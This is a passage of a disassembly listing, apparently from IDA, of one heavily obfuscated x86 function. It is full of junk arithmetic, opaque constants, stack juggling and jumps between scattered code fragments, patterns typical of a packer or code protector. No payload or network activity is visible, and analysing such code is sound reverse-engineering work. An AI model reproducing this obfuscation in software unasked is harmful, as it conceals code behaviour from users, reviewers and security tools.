		add	cl, 3Bh
		inc	cl
		push	0
		jmp	loc_5A94E5
; ---------------------------------------------------------------------------


loc_5AB467:				; CODE XREF: sub_58A891+1BF72j
		sub	edi, 0BA8CBB3h
		jmp	loc_5A3987
; ---------------------------------------------------------------------------


loc_5AB472:				; CODE XREF: sub_58A891+1821Dj
		mov	esp, [esp+0B2h+var_B2]
		jmp	loc_5B1A62
; ---------------------------------------------------------------------------


loc_5AB47A:				; CODE XREF: sub_58A891+25032j
		sub	eax, esi
		pop	esi
		xchg	eax, [esp+0AEh+var_AE]
		pop	esp
		push	esp
		pop	[esp+0AEh+var_AE]
		push	edi
		push	eax
		mov	eax, 246F2433h
		mov	edi, 246F2437h
		sub	edi, eax
		jmp	loc_59CDFA
; ---------------------------------------------------------------------------


loc_5AB498:				; CODE XREF: sub_58A891+1CF50j
		pop	ecx
		xor	edx, [esp+1Ah+var_1C+2]
		xor	[esp+1Ah+var_1C+2], edx
		xor	edx, [esp+1Ah+var_1C+2]
		pop	esp
		jmp	loc_5B2C33
; ---------------------------------------------------------------------------


loc_5AB4A8:				; CODE XREF: sub_58A891+1D145j
					; sub_58A891+25948j
		mov	esp, [esp+0A8h+var_AA+2]
		mov	[esp+0A8h+var_AA+2], eax
		push	[esp+0A8h+var_A6+2]
		pop	eax
		jmp	loc_5AD2F0
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+0A8h+var_AA+2]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5A8D3E
; ---------------------------------------------------------------------------


loc_5AB4CA:				; CODE XREF: sub_58A891+1F478j
					; sub_58A891+21461j
		mov	cl, dl
		pop	edx
		jmp	loc_59EDE2
; ---------------------------------------------------------------------------


loc_5AB4D2:				; CODE XREF: sub_58A891+24C5Cj
		and	edx, 121C5D70h
		xor	edx, 57341E51h
		sub	edi, edx
		pop	edx
		mov	edx, [esp+60h+var_60]
		add	esp, 4
		add	edi, 4
		jmp	loc_5B17E0
; ---------------------------------------------------------------------------


loc_5AB4EF:				; CODE XREF: sub_58A891+1AA47j
		mov	ebp, 0
		sub	ebp, edi
		xchg	ebp, edi
		pop	ebp
		sub	edi, 8D50C6AAh
		mov	ecx, edi
		pop	edi
		not	ecx
		xor	ecx, 8795C70Fh
		sub	esi, ecx
		jmp	loc_5A91B0
; ---------------------------------------------------------------------------


loc_5AB511:				; CODE XREF: sub_58A891+1793Aj
		mov	edi, esp
		sub	esp, 4
		mov	[esp+22h+var_24+2], ebp
		mov	ebp, 6172337Eh
		or	ebp, 2B44217Fh
		push	ecx
		mov	ecx, 2AA45054h
		jmp	loc_5B1881
; ---------------------------------------------------------------------------


loc_5AB52F:				; CODE XREF: sub_58A891+26793j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+26h+var_28+2]
		pop	esp
		inc	eax
		jo	loc_5AD348
		sub	esp, 4
		mov	[esp+26h+var_28+2], ebp
		mov	ebp, 59C915DDh
		inc	ebp
		push	ebx
		mov	ebx, 6AD77831h
		shl	ebx, 4
		not	ebx
		add	ebx, 0C4F18442h
		xor	ebp, ebx
		pop	ebx
		jmp	loc_5AAA6E
; ---------------------------------------------------------------------------


loc_5AB570:				; CODE XREF: sub_58A891+1F46Cj
		or	ecx, 2FB446F4h
		jb	loc_59EAFB
		sub	ecx, 2CDD6843h
		jmp	loc_5AE0F9
; ---------------------------------------------------------------------------


loc_5AB587:				; CODE XREF: sub_58A891+17489j
		inc	edi
		jl	loc_59D690
		sub	edi, 6C936EE0h
		jo	loc_5A6984
		push	esi
		mov	esi, 1F4A627Eh
		xor	esi, 8665EC09h
		add	edi, 20A82B10h
		sub	edi, esi
		sub	edi, 20A82B10h
		pop	esi
		mov	esi, edi
		mov	edi, [esp+60h+var_60]
		push	ebp
		jmp	loc_59E759
; ---------------------------------------------------------------------------


loc_5AB5C0:				; CODE XREF: sub_58A891+16FD8j
		mov	[esp+2Ah+var_2C+2], esp
		add	[esp+2Ah+var_2C+2], 4
		pop	edi
		add	edi, 4
		push	ecx
		mov	ecx, 2
		sub	edi, 2501062Bh
		add	edi, 126F55CDh
		add	edi, ecx
		jmp	loc_5A6708
; ---------------------------------------------------------------------------


loc_5AB5E7:				; CODE XREF: sub_58A891+1F69Bj
		push	edi
		jmp	loc_59D899
; ---------------------------------------------------------------------------


loc_5AB5ED:				; CODE XREF: sub_58A891+282CFj
		push	6896h
		mov	[esp+0DAh+var_DA], edi
		push	esp
		pop	edi
		push	ebp
		mov	ebp, 4
		jmp	loc_59C4D1
; ---------------------------------------------------------------------------


loc_5AB602:				; CODE XREF: sub_58A891+26B2Fj
		jmp	loc_5AC61B
; ---------------------------------------------------------------------------


loc_5AB607:				; CODE XREF: sub_58A891+22A05j
		mov	[esp+0DEh+var_DE], ebp
		push	eax
		mov	eax, 0D4C16FDh
		mov	ebp, eax
		pop	eax
		add	ebp, 0F2B3E904h
		add	edx, ebp
		pop	ebp
		jmp	loc_5ACBAF
; ---------------------------------------------------------------------------


loc_5AB621:				; CODE XREF: sub_58A891+19DAAj
		add	edi, ebp
		pop	ebp
		push	esi
		mov	esi, 2
		push	ecx
		mov	ecx, 57441141h
		jmp	loc_59C003
; ---------------------------------------------------------------------------


loc_5AB635:				; CODE XREF: sub_58A891+1AB0Fj
		mov	[esp+0BAh+var_BA], edx
		push	72CFh
		mov	[esp+0BEh+var_BE], ecx
		push	23CB4EB1h
		pop	ecx
		xor	ecx, 6F3644C7h
		sub	ecx, 3094A2D5h
		mov	edx, ecx
		pop	ecx
		xor	eax, edx
		pop	edx
		push	[esp+0B6h+var_B6]
		mov	edx, [esp+0BAh+var_BA]
		add	esp, 4
		add	esp, 4
		add	[esp+0B2h+var_B2], 3DF16557h
		push	esi
		mov	esi, 67B435E0h
		add	[esp+0B6h+var_B2], esi
		pop	esi
		push	edi
		jmp	loc_59F1E9
; ---------------------------------------------------------------------------


loc_5AB67F:				; CODE XREF: sub_58A891+1FF19j
		or	cl, 1Ah
		jmp	loc_5ABBF1
; ---------------------------------------------------------------------------


loc_5AB687:				; CODE XREF: sub_58A891+1D829j
		add	eax, 4
		add	eax, 4
		jmp	loc_5A14E9
; ---------------------------------------------------------------------------


loc_5AB694:				; CODE XREF: sub_58A891+12F84j
		sub	edx, 1E7D3B2Dh
		or	edx, 647539E0h
		jmp	loc_59F4C7
; ---------------------------------------------------------------------------


loc_5AB6A5:				; CODE XREF: sub_58A891+1C61Ej
		push	[esp+7Eh+var_7C+2]
		jmp	loc_5AB22B
; ---------------------------------------------------------------------------


loc_5AB6AE:				; CODE XREF: sub_58A891+14EE2j
		sub	edx, edi
		sub	edx, 2FC57F91h
		jmp	loc_5B155E
; ---------------------------------------------------------------------------


loc_5AB6BB:				; CODE XREF: sub_58A891+13061j
		push	79C07F7Bh
		pop	ecx
		shr	ecx, 5
		jmp	loc_5A5008
; ---------------------------------------------------------------------------


loc_5AB6C9:				; CODE XREF: sub_58A891+1BFF3j
		inc	eax
		shr	eax, 4
		add	eax, 0FE63EBFCh
		add	ebx, eax
		pop	eax
		push	ebp
		mov	ebp, 14C23D98h
		xor	ebp, 14C23D9Ch
		sub	ebx, ebp
		jmp	loc_5A2D4B
; ---------------------------------------------------------------------------


loc_5AB6E8:				; CODE XREF: sub_58A891+17C75j
					; sub_58A891:loc_5AF0C3j
		jmp	loc_59DE2C
; ---------------------------------------------------------------------------


loc_5AB6ED:				; CODE XREF: sub_58A891+21520j
		sub	ebx, 7AB2E1Ah
		pop	esi
		jmp	loc_5AF8F6
; ---------------------------------------------------------------------------


loc_5AB6F9:				; CODE XREF: sub_58A891+201AFj
		mov	ecx, [esp+12h+var_14+2]
		add	esp, 4
		shr	ah, 6
		inc	ah
		add	ah, 21h
		jmp	loc_5AC036
; ---------------------------------------------------------------------------


loc_5AB70F:				; CODE XREF: sub_58A891+1BDE1j
		add	edi, 4
		xchg	edi, [esp+26h+var_28+2]
		pop	esp
		shl	edi, 3
		jns	loc_5AD1BD
		push	ebp
		push	edi
		mov	edi, 4C756420h
		add	edi, 7D1754D4h
		mov	ch, ch


loc_5AB731:				; CODE XREF: sub_58A891+18A1Fj
		sub	edx, 7A745167h
		mov	ecx, [esp+2Ah+var_2C+2]
		add	esp, 4
		push	[esp+26h+var_28+2]
		pop	esi
		push	eax
		jmp	loc_5ABEA8
; ---------------------------------------------------------------------------


loc_5AB74A:				; CODE XREF: sub_58A891+1C7F4j
		xor	ecx, 342029F3h
		sub	ecx, 94F3C31Bh
		jmp	loc_5A4845
; ---------------------------------------------------------------------------


loc_5AB75B:				; CODE XREF: sub_58A891+221E7j
		push	ebx
		mov	bl, ah
		mov	dh, bl
		pop	ebx
		jmp	loc_59EE5B
; ---------------------------------------------------------------------------


loc_5AB766:				; CODE XREF: sub_58A891+1BADDj
		xor	esi, 33B71C68h
		shr	esi, 5
		xor	esi, 6FD329E9h
		jmp	loc_5A6688
; ---------------------------------------------------------------------------


loc_5AB77A:				; CODE XREF: sub_58A891+14ADBj
		add	eax, 4
		jmp	loc_5B0AC2
; ---------------------------------------------------------------------------


loc_5AB784:				; CODE XREF: sub_58A891+23210j
		pop	ecx
		push	edx
		mov	edx, 1BB571AAh
		jmp	loc_5A1F86
; ---------------------------------------------------------------------------


loc_5AB790:				; CODE XREF: sub_58A891+27178j
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		jmp	loc_5A80BF
; ---------------------------------------------------------------------------


loc_5AB7A3:				; CODE XREF: sub_58A891+22F27j
		mov	bh, ah
		push	eax
		jmp	loc_59F328
; ---------------------------------------------------------------------------
		db 0ACh
		dd 32B35366h, 9FE92E04h
		db 45h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AB7B7:				; CODE XREF: sub_58A891+1D55Fj
		mov	eax, 43E289B2h
		add	eax, ecx
		pop	ecx
		add	edx, 65ED7380h
		add	edx, eax
		sub	edx, 65ED7380h
		mov	eax, [esp+6Eh+var_70+2]
		jmp	loc_5B208F
; ---------------------------------------------------------------------------


loc_5AB7D5:				; CODE XREF: sub_58A891+26AFCj
		and	ebx, 23E32CD8h
		push	edi
		jmp	loc_59F144
; ---------------------------------------------------------------------------


loc_5AB7E1:				; CODE XREF: sub_58A891+12CF6j
		add	[esp+2Ah+var_28+2], esi
		pop	esi
		mov	edi, [esp+26h+var_28+2]
		add	esp, 4
		add	edi, 4
		sub	esp, 4
		mov	[esp+26h+var_28+2], ecx
		push	ebp
		mov	ebp, 54E37F74h
		dec	ebp
		inc	ebp
		jnz	loc_5ACF99
		and	ebp, 76490BC4h
		xor	ebp, 54410B40h
		mov	ecx, ebp


loc_5AB81A:				; CODE XREF: sub_58A891+16B03j
		mov	ebp, 9186BEEFh
		add	eax, ebp
		pop	ebp
		jmp	loc_5A8BF7
; ---------------------------------------------------------------------------


loc_5AB827:				; CODE XREF: sub_58A891+17885j
		mov	ebx, 584D332Eh
		jmp	loc_5A0F5C
; ---------------------------------------------------------------------------


loc_5AB831:				; CODE XREF: sub_58A891+22FBDj
		mov	ebx, [esp+32h+var_34+2]
		add	esp, 4
		add	esp, 4
		push	edx
		mov	dl, 9
		add	dl, 4Bh
		add	dl, 11h
		xor	dl, 20h
		xor	dl, 0B9h
		sub	al, dl
		pop	edx
		add	al, 8Eh
		add	al, bl
		sub	esp, 4
		mov	[esp+2Eh+var_30+2], ecx
		mov	ch, 8Eh
		jmp	loc_5A958E
; ---------------------------------------------------------------------------


loc_5AB863:				; CODE XREF: sub_58A891+212CAj
		sub	edx, 7966007Eh
		not	edx
		jmp	loc_5A0BFA
; ---------------------------------------------------------------------------


loc_5AB870:				; CODE XREF: sub_58A891+1B3C2j
		add	ecx, 0CA979DC9h
		add	edx, ecx
		pop	ecx
		push	3785h
		mov	[esp+0A2h+var_A2], ecx
		jmp	loc_5A556F
; ---------------------------------------------------------------------------


loc_5AB886:				; CODE XREF: sub_58A891+17153j
		pop	edi
		push	edx
		mov	edx, 16D941CEh
		sub	esp, 4
		mov	[esp+106h+var_108+2], ecx
		push	3DC51D0Ch
		pop	ecx
		jmp	loc_5A5C73
; ---------------------------------------------------------------------------


loc_5AB8A1:				; CODE XREF: sub_58A891+1B537j
		mov	ebx, [esp+0A2h+var_A2]
		sub	esp, 4
		jmp	loc_59F6E9
; ---------------------------------------------------------------------------


loc_5AB8AF:				; CODE XREF: sub_58A891+184EFj
		add	esi, ebp
		pop	ebp
		add	esi, 2
		jmp	loc_5AC638
; ---------------------------------------------------------------------------


loc_5AB8BD:				; CODE XREF: sub_58A891+12265j
		push	ebp
		push	ebx
		push	edi
		mov	di, 3A3h
		jmp	loc_5A05A5
; ---------------------------------------------------------------------------


loc_5AB8C9:				; CODE XREF: sub_58A891+235AEj
		xchg	eax, [esp+0C6h+var_C6]
		pop	esp
		mov	eax, [esp+0C2h+var_C2]
		jmp	loc_5AAF83
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	[esp+0C0h+var_C2+2], cl
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5AB8E4:				; CODE XREF: sub_58A891+22BB9j
		add	esp, 4
		jmp	loc_5A8BEF
; ---------------------------------------------------------------------------


loc_5AB8EC:				; CODE XREF: sub_58A891+1CEAAj
		push	bx
		mov	bx, 0
		jmp	loc_5AD2B4
; ---------------------------------------------------------------------------


loc_5AB8F7:				; CODE XREF: sub_58A891+27B13j
		add	eax, 4
		jmp	loc_5AB23E
; ---------------------------------------------------------------------------


loc_5AB901:				; CODE XREF: sub_58A891+11C11j
		jmp	loc_5A339F
; ---------------------------------------------------------------------------


loc_5AB906:				; CODE XREF: sub_58A891+24403j
		sub	ebx, ecx
		pop	ecx
		sub	ebx, 49136377h
		mov	edi, [esp+2Eh+var_30+2]
		jmp	loc_5A068F
; ---------------------------------------------------------------------------


loc_5AB917:				; CODE XREF: sub_58A891+1263Bj
		add	bh, 89h
		pop	ecx
		sub	al, 0Bh
		push	ebx
		mov	bl, 0A5h
		shr	bl, 8
		sub	bl, 45h
		jmp	loc_5AEF3A
; ---------------------------------------------------------------------------


loc_5AB92B:				; CODE XREF: sub_58A891+1CD1Dj
		sub	esp, 4
		mov	[esp+4Eh+var_50+2], ebx
		mov	ebx, 4
		mov	ecx, ebx
		push	[esp+4Eh+var_50+2]
		pop	ebx
		jmp	loc_59DA8B
; ---------------------------------------------------------------------------


loc_5AB941:				; CODE XREF: sub_58A891+1E4C6j
		push	0
		jmp	loc_5A3791
; ---------------------------------------------------------------------------


loc_5AB94B:				; CODE XREF: sub_58A891+1F826j
		push	[esp+0AEh+var_AA]
		pop	esi
		pop	[esp+0AEh+var_AE]
		mov	esp, [esp+0AAh+var_AA]
		and	[esp+0AAh+var_AA], eax
		pushf
		jmp	loc_59F4B1
; ---------------------------------------------------------------------------


loc_5AB95F:				; CODE XREF: sub_58A891+13589j
		xor	eax, 66123A17h
		neg	eax
		jmp	loc_59C1AC
; ---------------------------------------------------------------------------


loc_5AB96B:				; CODE XREF: sub_58A891+1D35Fj
		pop	esi
		push	6FBDh
		mov	[esp+5Ah+var_5C+2], ecx
		jmp	loc_5A7893
; ---------------------------------------------------------------------------


loc_5AB979:				; CODE XREF: sub_58A891+1A9D9j
		push	eax
		mov	eax, 55BD52FEh
		neg	eax
		shr	eax, 7
		jmp	loc_59DE3B
; ---------------------------------------------------------------------------


loc_5AB989:				; CODE XREF: sub_58A891+21411j
		jmp	loc_5A4EC5
; ---------------------------------------------------------------------------


loc_5AB98E:				; CODE XREF: sub_58A891+169F0j
		add	edx, ebp
		jmp	loc_5B1329
; ---------------------------------------------------------------------------


loc_5AB995:				; CODE XREF: sub_58A891+21D85j
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+58h+var_58]
		jmp	loc_5A115A
; ---------------------------------------------------------------------------


loc_5AB9A9:				; CODE XREF: sub_58A891+1F7FBj
		shl	esi, 3
		and	esi, 63442FA9h
		or	esi, 7DEE1460h
		or	esi, 430D4F26h
		add	esi, 0E85EAA88h
		add	ebx, 6EA125C1h
		add	ebx, esi
		sub	ebx, 6EA125C1h
		jmp	loc_5B1D3B
; ---------------------------------------------------------------------------


loc_5AB9D7:				; CODE XREF: sub_58A891+220ABj
		push	edi
		push	eax
		jmp	loc_5A8754
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+0B6h+var_B6]
		push	1C98h
		mov	[esp+0BAh+var_BA], edx
		push	esp
		pop	edx
		push	1C6Ch
		mov	[esp+0BEh+var_BE], eax
		push	edx
		push	3D9E2DF6h
		pop	edx
		shl	edx, 5
		jnp	loc_5AA1C8
		push	edi
		mov	edi, 4CE35270h
		sub	edi, 0A5F2A183h
		sub	edx, edi
		jmp	loc_5B11A8
; ---------------------------------------------------------------------------


loc_5ABA17:				; CODE XREF: sub_58A891+1E10Ej
		sub	edi, 23CB0076h
		pop	ecx
		jmp	loc_5B2A31
; ---------------------------------------------------------------------------


loc_5ABA23:				; CODE XREF: sub_58A891+14F47j
		sub	esp, 4
		mov	[esp+3Eh+var_40+2], ecx
		mov	ecx, 4ADF4D58h
		push	ecx
		push	edx
		jmp	loc_5A7CED
; ---------------------------------------------------------------------------


loc_5ABA35:				; CODE XREF: sub_58A891+1700Bj
		xor	edx, [esp+26h+var_28+2]
		pop	esp
		add	eax, 4
		push	ecx
		mov	ecx, 25697483h
		dec	ecx
		jmp	loc_5AD473
; ---------------------------------------------------------------------------


loc_5ABA4A:				; CODE XREF: sub_58A891+13EF6j
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+0A8h+var_AA+2]
		pop	esp
		mov	[esp+0A4h+var_A6+2], eax
		push	73ADh
		jmp	loc_5B0836
; ---------------------------------------------------------------------------


loc_5ABA64:				; CODE XREF: sub_58A891+2212Ej
		mov	eax, 73EF4AD8h
		shr	eax, 6
		add	eax, 234B2953h
		shl	eax, 5
		and	eax, 7E8A72FCh
		shl	eax, 5
		jmp	loc_5A722E
; ---------------------------------------------------------------------------


loc_5ABA81:				; CODE XREF: sub_58A891+1E7C4j
		mov	esi, 5B5B6BE7h
		jmp	loc_59EBD2
; ---------------------------------------------------------------------------


loc_5ABA8B:				; CODE XREF: sub_58A891+18408j
		push	1B7Ch
		mov	[esp+4Eh+var_50+2], eax
		jmp	loc_59E7A8
; ---------------------------------------------------------------------------


loc_5ABA98:				; CODE XREF: sub_58A891+21A56j
		push	[esp+4Eh+var_4C+2]
		jmp	loc_5AD73D
; ---------------------------------------------------------------------------


loc_5ABAA1:				; CODE XREF: sub_58A891+24084j
		push	dword ptr [edi+24h]
		push	6EF4h
		mov	[esp+5Ah+var_5C+2], ebx
		sub	esp, 4
		mov	[esp+5Eh+var_60+2], eax
		mov	eax, 68395F8Dh
		push	edx
		mov	edx, 68395F8Ch
		add	eax, 28DC4E6Eh
		jmp	loc_5A5B59
; ---------------------------------------------------------------------------


loc_5ABAC7:				; CODE XREF: sub_58A891+12007j
		xor	ecx, 35560DE9h
		mov	ebp, ecx
		pop	ecx
		jmp	loc_5AB14B
; ---------------------------------------------------------------------------


loc_5ABAD5:				; CODE XREF: sub_58A891+12652j
		neg	dl
		sub	dl, 4Bh
		xor	dl, 74h
		sub	al, dl
		pop	edx
		push	[esp+92h+var_94+2]
		pop	ebx
		jmp	loc_5A8E64
; ---------------------------------------------------------------------------


loc_5ABAE9:				; CODE XREF: sub_58A891+21FAEj
		pop	[esp+92h+var_94+2]
		pop	esp
		jmp	loc_5B1FD3
; ---------------------------------------------------------------------------


loc_5ABAF2:				; CODE XREF: sub_58A891+23441j
		mov	ecx, 2E01D24h
		add	ecx, 9EC54C39h
		sub	edi, 1CD24723h
		sub	edi, ecx
		push	ebp
		mov	ebp, 48052D01h
		sub	ebp, 13E143ECh
		jmp	loc_5A04F8
; ---------------------------------------------------------------------------


loc_5ABB16:				; CODE XREF: sub_58A891+25218j
		sub	al, 53h
		jmp	loc_5A570B
; ---------------------------------------------------------------------------


loc_5ABB1D:				; CODE XREF: sub_58A891+21C1Aj
		jmp	loc_5B17CC
; ---------------------------------------------------------------------------


loc_5ABB22:				; CODE XREF: sub_58A891+24BFDj
		pop	ecx
		shr	esi, 3
		xor	esi, 0AD24B0FFh
		jmp	loc_59D5F2
; ---------------------------------------------------------------------------


loc_5ABB31:				; CODE XREF: sub_58A891+1F2ECj
		mov	edi, esp
		jmp	loc_59D741
; ---------------------------------------------------------------------------


loc_5ABB38:				; CODE XREF: sub_58A891+2009Fj
		add	esp, 4
		add	esp, 4
		sub	ebx, 2CCC7851h
		sub	ebx, 4B8F7139h
		jmp	loc_59D07E
; ---------------------------------------------------------------------------


loc_5ABB55:				; CODE XREF: sub_58A891+16C76j
					; sub_58A891+248B9j
		and	edx, 6434350Fh
		jmp	loc_5AB863
; ---------------------------------------------------------------------------


loc_5ABB60:				; CODE XREF: sub_58A891+2016Bj
		add	[esp+0B6h+var_B6], 4
		push	[esp+0B6h+var_B6]
		mov	edi, [esp+0BAh+var_BA]
		add	esp, 4
		add	esp, 4
		jmp	loc_5B26AB
; ---------------------------------------------------------------------------


loc_5ABB78:				; CODE XREF: sub_58A891+25B9Dj
		pop	ebx
		add	edi, 2
		jmp	loc_5A5F4A
; ---------------------------------------------------------------------------


loc_5ABB84:				; CODE XREF: sub_58A891+18BD1j
		push	[esp+3Eh+var_40+2]
		pop	ebx
		add	esp, 4
		or	esi, 6188553Ch
		jp	loc_5AEA9F
		push	edx
		push	ebx
		mov	ebx, 1DFE0E19h
		jmp	loc_5A4330
; ---------------------------------------------------------------------------


loc_5ABBA3:				; CODE XREF: sub_58A891+21870j
		mov	edi, [esp+42h+var_44+2]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_5ADE3A
; ---------------------------------------------------------------------------


loc_5ABBB3:				; CODE XREF: sub_58A891+1F4E8j
		xor	eax, esi
		pop	esi
		not	eax
		shl	eax, 5
		sub	esp, 4
		jmp	loc_5AB43C
; ---------------------------------------------------------------------------


loc_5ABBC3:				; CODE XREF: sub_58A891+225A9j
		add	al, 24h
		sub	al, 66h
		sub	al, bl
		push	small 203Dh
		mov	word ptr [esp+98h+var_98], bx
		mov	bl, 66h
		push	ebx
		mov	ebx, esp
		jmp	loc_5A7115
; ---------------------------------------------------------------------------


loc_5ABBDB:				; CODE XREF: sub_58A891+12593j
					; sub_58A891+14BC5j
		mov	edi, 4
		add	ecx, edi
		pop	edi
		xor	ecx, [esp+90h+var_90]
		xor	[esp+90h+var_90], ecx
		xor	ecx, [esp+90h+var_90]
		jmp	loc_5A80B0
; ---------------------------------------------------------------------------


loc_5ABBF1:				; CODE XREF: sub_58A891+20DF1j
		or	cl, 0D9h
		push	edx
		push	bx
		jmp	loc_5A1E8E
; ---------------------------------------------------------------------------


loc_5ABBFC:				; CODE XREF: sub_58A891+21637j
		dec	bh
		jmp	loc_5A0A9F
; ---------------------------------------------------------------------------


loc_5ABC03:				; CODE XREF: sub_58A891+26A0Bj
		pop	eax
		push	esi
		jmp	loc_5A71E3
; ---------------------------------------------------------------------------


loc_5ABC0A:				; CODE XREF: sub_58A891+12AA3j
		mov	[esp+16h+var_18+2], ecx
		mov	ecx, 398A4017h
		shl	ecx, 4
		jmp	loc_5B0160
; ---------------------------------------------------------------------------


loc_5ABC1A:				; CODE XREF: sub_58A891+15870j
		mov	edi, 4
		mov	esi, edi
		pop	edi
		add	eax, esi
		jmp	loc_59E8E1
; ---------------------------------------------------------------------------


loc_5ABC29:				; CODE XREF: sub_58A891+175DDj
					; sub_58A891+1995Aj
		add	edx, 703D523Ch
		jmp	loc_5AA73B
; ---------------------------------------------------------------------------


loc_5ABC34:				; CODE XREF: sub_58A891+19CC6j
		dec	ebp
		jmp	loc_5A8017
; ---------------------------------------------------------------------------


loc_5ABC3A:				; CODE XREF: sub_58A891+220C9j
		mov	ebx, 61420AE8h
		mov	edi, 9EBDF51Ah
		jmp	loc_59FEB5
; ---------------------------------------------------------------------------


loc_5ABC49:				; CODE XREF: sub_58A891+25863j
		jmp	loc_5AF3F5
; ---------------------------------------------------------------------------


loc_5ABC4E:				; CODE XREF: sub_58A891+1BE3Bj
		push	esi
		push	eax
		mov	eax, 99457CAh
		sub	eax, 6F4D641Bh
		jl	loc_5B2CE4
		not	eax
		jmp	loc_5A04F8
; ---------------------------------------------------------------------------
		shr	dh, 7
		mov	ebx, edi
		push	edx


loc_5ABC6D:				; CODE XREF: sub_58A891+15045j
		push	3CC986Fh
		jmp	loc_5A7254
; ---------------------------------------------------------------------------


loc_5ABC77:				; CODE XREF: sub_58A891+14320j
		push	[esp+96h+var_98+2]
		mov	eax, [esp+0]
		push	ebx
		mov	ebx, esp
		push	5EDBh
		mov	[esp+0A2h+var_A2], ecx
		jmp	loc_5B000F
; ---------------------------------------------------------------------------


loc_5ABC8D:				; CODE XREF: sub_58A891+19887j
		add	ecx, edi
		push	ebx
		mov	ebx, 0
		jmp	loc_5A3F16
; ---------------------------------------------------------------------------


loc_5ABC9A:				; CODE XREF: sub_58A891+1EB83j
		not	esi
		xor	esi, 3B180542h
		jnz	loc_5AB989
		jmp	loc_59E108
; ---------------------------------------------------------------------------
		add	edx, ebp
		jmp	loc_59DF2A
; ---------------------------------------------------------------------------
		mov	bh, cl


loc_5ABCB6:				; CODE XREF: sub_58A891+1B7FCj
		sub	ebx, 0B892005h
		push	67F2h
		mov	[esp+0Eh+var_10+2], edi
		jmp	loc_5AA1AA
; ---------------------------------------------------------------------------


loc_5ABCC9:				; CODE XREF: sub_58A891+1FA37j
		or	cl, 5Ah
		dec	cl
		sub	cl, 1Fh
		or	cl, 82h
		jmp	loc_59E304
; ---------------------------------------------------------------------------


loc_5ABCD9:				; CODE XREF: sub_58A891+20AD9j
		xor	edi, ebp
		push	[esp+4Ah+var_4C+2]
		pop	ebp
		add	esp, 4
		sub	eax, edi
		push	[esp+46h+var_48+2]
		jmp	loc_5AA92D
; ---------------------------------------------------------------------------


loc_5ABCEF:				; CODE XREF: sub_58A891+28121j
		push	edx
		mov	dl, 1
		jmp	loc_5AB4CA
; ---------------------------------------------------------------------------


loc_5ABCF7:				; CODE XREF: sub_58A891+23633j
		mov	esi, 312E0845h
		shr	esi, 3
		sub	esi, 0FFFFFFFFh
		xchg	edi, esi
		not	edi
		xchg	edi, esi
		xor	esi, 0F9DA3EF2h
		add	eax, esi
		mov	esi, [esp+4Eh+var_50+2]
		add	esp, 4
		sub	esp, 4
		mov	[esp+4Eh+var_50+2], edi
		sub	esp, 4
		mov	[esp+52h+var_54+2], esi
		push	ebp
		push	0C632E4Ch
		pop	ebp
		sub	ebp, 398F494Eh
		ja	loc_59EC8B
		add	ebp, 3B50529Eh
		sub	ebp, 0F4AC2C05h
		push	edx
		mov	edx, ebp
		jmp	loc_5A1D06
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		push	3F0Fh
		mov	[esp+5Eh+var_60+2], esi
		mov	esi, 5E410869h
		push	ebp
		push	7FA8h
		mov	[esp+66h+var_68+2], edx
		mov	edx, 556B321Ah
		push	edx
		not	[esp+6Ah+var_6C+2]
		pop	edx
		jmp	loc_5A31D3
; ---------------------------------------------------------------------------


loc_5ABD74:				; CODE XREF: sub_58A891+1779Ej
		add	al, 0F2h
		push	edx
		mov	dh, al
		mov	bl, dh
		pop	edx
		jmp	loc_5A1673
; ---------------------------------------------------------------------------


loc_5ABD81:				; CODE XREF: sub_58A891+1A9B4j
		push	eax
		mov	eax, 383854D6h
		mov	edx, 5E3092BAh
		jmp	loc_59E5C0
; ---------------------------------------------------------------------------


loc_5ABD91:				; CODE XREF: sub_58A891+22E3Ej
		pop	esi
		sub	esp, 4
		mov	[esp+0AAh+var_AA], eax
		mov	eax, 4
		add	esi, eax
		pop	eax
		add	esi, 4
		xchg	esi, [esp+0A6h+var_A6]
		pop	esp
		jmp	loc_5A56B4
; ---------------------------------------------------------------------------


loc_5ABDAF:				; CODE XREF: sub_58A891+17E1Fj
		sub	ebx, esi
		jmp	loc_5AB6ED
; ---------------------------------------------------------------------------


loc_5ABDB6:				; CODE XREF: sub_58A891+278BDj
		push	ebx
		mov	ebx, 0FDC983F4h
		add	edx, ebx
		pop	ebx
		jmp	loc_5A1AFC
; ---------------------------------------------------------------------------


loc_5ABDC4:				; CODE XREF: sub_58A891+22D3Bj
		pop	eax
		mov	ecx, ebx
		pop	ebx
		push	990h
		jmp	loc_5B2CD6
; ---------------------------------------------------------------------------


loc_5ABDD2:				; CODE XREF: sub_58A891+1A0AEj
					; sub_58A891+1B6D0j
		push	308Bh
		mov	[esp+4Eh+var_50+2], esp
		jmp	loc_5B11F3
; ---------------------------------------------------------------------------


loc_5ABDDF:				; CODE XREF: sub_58A891+164E3j
		sub	[esp+0A8h+var_AA+2], 6F8D1A12h
		jmp	loc_59EC05
; ---------------------------------------------------------------------------


loc_5ABDEB:				; CODE XREF: sub_58A891+189C0j
		add	esp, 4
		not	edi
		shr	edi, 7
		xor	edi, 312350BDh
		jle	loc_59F93B
		neg	edi
		jnz	loc_5A38FA
		add	edi, 3082DF88h
		mov	ebp, edi
		pop	edi
		or	al, 17h


loc_5ABE15:				; CODE XREF: sub_58A891+14E47j
		mov	eax, edi
		mov	edi, [esp+70h+var_70]
		add	esp, 4
		sub	eax, 3DC30A0Ah
		mov	ebx, eax
		pop	eax
		sub	[edi+24h], ebx
		push	[esp+68h+var_68]
		pop	ebx
		add	esp, 4


loc_5ABE32:				; CODE XREF: sub_58A891+154F6j
		push	2819h
		mov	[esp+68h+var_68], ecx
		sub	esp, 4
		mov	[esp+6Ch+var_6C], ebx
		push	edi
		mov	edi, 425944DFh
		sub	[esp+70h+var_6C], edi
		pop	edi
		mov	ecx, [esp+6Ch+var_6C]
		add	esp, 4
		push	64Ah
